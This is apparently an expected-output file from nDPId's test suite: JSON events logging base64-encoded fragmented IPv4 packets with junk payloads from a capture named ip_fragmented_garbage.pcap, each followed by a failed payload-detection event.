+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611784,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 